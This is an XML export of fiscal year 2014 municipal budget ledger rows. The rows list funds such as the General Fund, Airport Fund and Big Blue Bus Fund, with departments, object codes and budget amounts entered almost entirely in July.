<row _id="6374"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>577704.0</object><object_description>PROP A REIMB-BUS STOP/SHELTER</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>-65000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-65000.0</total></row>
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<row _id="6377"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>267</division_id><division_name>STRATEGIC &amp; TRANSP. PLANNING</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2502.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2502.0</total></row>
<row _id="6378"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402160.0</object><object_description>AIRPORT - MISCELLANEOUS REV</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-2500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-2500.0</total></row>
<row _id="6379"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>402163.0</object><object_description>PARKING RECEIPTS</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-46100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-46100.0</total></row>
<row _id="6380"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>7928.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>7928.0</total></row>
<row _id="6381"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>511730.0</object><object_description>WORKERS' COMP INSURANCE</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>1035.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>1035.0</total></row>
<row _id="6382"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522120.0</object><object_description>UTILITIES - NATURAL GAS</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>11433.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>11433.0</total></row>
<row _id="6383"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>654.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>654.0</total></row>
<row _id="6384"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522210.0</object><object_description>UTILITIES - TELEPHONE</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>20303.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>20303.0</total></row>
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<row _id="6393"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>139.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>139.0</total></row>
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<row _id="6396"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522720.0</object><object_description>MILEAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>750.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>750.0</total></row>
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<row _id="6398"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544230.0</object><object_description>COMMUNITY SERVICES SU</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>3500.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3500.0</total></row>
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<row _id="6404"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>522620.0</object><object_description>RENT</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6405"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>407220.0</object><object_description>NEIGHBOR NOTIFICATION FEE</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-21320.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-21320.0</total></row>
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<row _id="6407"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>4</fund_id><fund_name>Special Revenue Source Fund</fund_name><department_id>700</department_id><department_name>NON-DEPARTMENTAL</department_name><division_id>695</division_id><division_name>INTERFUND TRANSACTIONS</division_name><object>570100.0</object><object_description>PEG TRANSFER TO FUND 01</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>262757.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>262757.0</total></row>
<row _id="6408"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>11</fund_id><fund_name>Beach Recreation Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>400772.0</object><object_description>JONATHAN CLUB LEASE</object_description><category_code>618.0</category_code><category_code_description>Rentals</category_code_description><fiscal_year>2014</fiscal_year><july>-125000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-125000.0</total></row>
<row _id="6409"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>225</division_id><division_name>PARKING OPERATIONS</division_name><object>407180.0</object><object_description>VALET LICENSING FEES</object_description><category_code>608.0</category_code><category_code_description>Licenses and Permits</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6410"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511743.0</object><object_description>MEDICAL - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>319895.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>319895.0</total></row>
<row _id="6411"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>2501.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>2501.0</total></row>
<row _id="6412"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>183523.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>183523.0</total></row>
<row _id="6413"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>655</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511773.0</object><object_description>RETIREMENT - MISC EMPL</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3022866.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3022866.0</total></row>
<row _id="6414"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>654</division_id><division_name>TRANSIT OPERATIONS</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>74.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>74.0</total></row>
<row _id="6415"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>400320.0</object><object_description>MILES PLAYHOUSE PROD FEES</object_description><category_code>612.0</category_code><category_code_description>Charges for Service</category_code_description><fiscal_year>2014</fiscal_year><july>-24000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-24000.0</total></row>
<row _id="6416"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>620</department_id><department_name>HOUSING &amp; ECONOMIC DEVELOPMENT</department_name><division_id>263</division_id><division_name>ADMINISTRATION &amp; REDEVELOPMENT</division_name><object>401151.0</object><object_description>REBATES-MALL ASSESS DISTR</object_description><category_code>622.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
<row _id="6417"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>544360.0</object><object_description>ELECTRONIC RESOURCES</object_description><category_code>812.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>242545.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>242545.0</total></row>
<row _id="6418"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>221</division_id><division_name>ADMINISTRATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>28146.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>28146.0</total></row>
<row _id="6419"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>300</department_id><department_name>POLICE</department_name><division_id>307</division_id><division_name>CRIMINAL INVESTIGATION DIV</division_name><object>511711.0</object><object_description>MEDICARE-POLICE</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>84615.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>84615.0</total></row>
<row _id="6420"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>160</department_id><department_name>INFORMATION SYSTEMS</department_name><division_id>246</division_id><division_name>SUPPORT SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>3470.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>3470.0</total></row>
<row _id="6421"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>806.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>13150.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13150.0</total></row>
<row _id="6422"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>501</division_id><division_name>ADMINISTRATION &amp; PLANNING SVCS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>14364.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14364.0</total></row>
<row _id="6423"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>4139.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4139.0</total></row>
<row _id="6424"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>210</department_id><department_name>PLANNING &amp; COMM. DEVELOPMENT</department_name><division_id>321</division_id><division_name>BUILDING AND SAFETY</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>816.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>45151.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>45151.0</total></row>
<row _id="6425"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>410</department_id><department_name>LIBRARY</department_name><division_id>614</division_id><division_name>INFORMATION MANAGEMENT</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>812.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>13205.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>13205.0</total></row>
<row _id="6426"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>37</fund_id><fund_name>Cemetery Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>641</division_id><division_name>CEMETERY</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>6100.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>6100.0</total></row>
<row _id="6427"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>9441.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>9441.0</total></row>
<row _id="6428"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>653</division_id><division_name>TRANSIT MAINTENANCE</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>840.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>14288.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>14288.0</total></row>
<row _id="6429"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>20</fund_id><fund_name>Miscellaneous Grants Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>522</division_id><division_name>BEACH ADMINISTRATION</division_name><object>578920.0</object><object_description>PROP A-MAINT (NOT LOCAL RETRN)</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>28260.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>28260.0</total></row>
<row _id="6430"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>88793.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>88793.0</total></row>
<row _id="6431"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>522540.0</object><object_description>ADVERTISING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>4196.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>4196.0</total></row>
<row _id="6432"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>262</division_id><division_name>HUMAN SERVICES</division_name><object>561406.0</object><object_description>DIRECT SERVICES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>26337.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>26337.0</total></row>
<row _id="6433"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>41</fund_id><fund_name>Big Blue Bus Fund</fund_name><department_id>600</department_id><department_name>BIG BLUE BUS</department_name><division_id>642</division_id><division_name>TRANSIT FINANCE AND GRANTS</division_name><object>405830.0</object><object_description>MEASURE R - OPERATING</object_description><category_code>658.0</category_code><category_code_description>Sales Tax</category_code_description><fiscal_year>2014</fiscal_year><july>-7861048.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-7861048.0</total></row>
<row _id="6434"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>404580.0</object><object_description>BAYSAVER FEES</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-80000.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-80000.0</total></row>
<row _id="6435"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>34</fund_id><fund_name>Stormwater Management Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTE WATER</division_name><object>404580.0</object><object_description>BAYSAVER FEES</object_description><category_code>662.0</category_code><category_code_description>Other</category_code_description><fiscal_year>2014</fiscal_year><july>-18600.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>-18600.0</total></row>
<row _id="6436"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511743.0</object><object_description>MEDICAL - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>89336.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>89336.0</total></row>
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<row _id="6438"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>15987.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>15987.0</total></row>
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<row _id="6440"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>28732.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>28732.0</total></row>
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<row _id="6453"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2014</fiscal_year><july>58102.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>58102.0</total></row>
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<row _id="6455"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>555130.0</object><object_description>TOXIC CHEMICAL</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2014</fiscal_year><july>0.0</july><august>0</august><september>0</september><october>0</october><november>0.0</november><december>0</december><january>0.0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0.0</june><total>0.0</total></row>
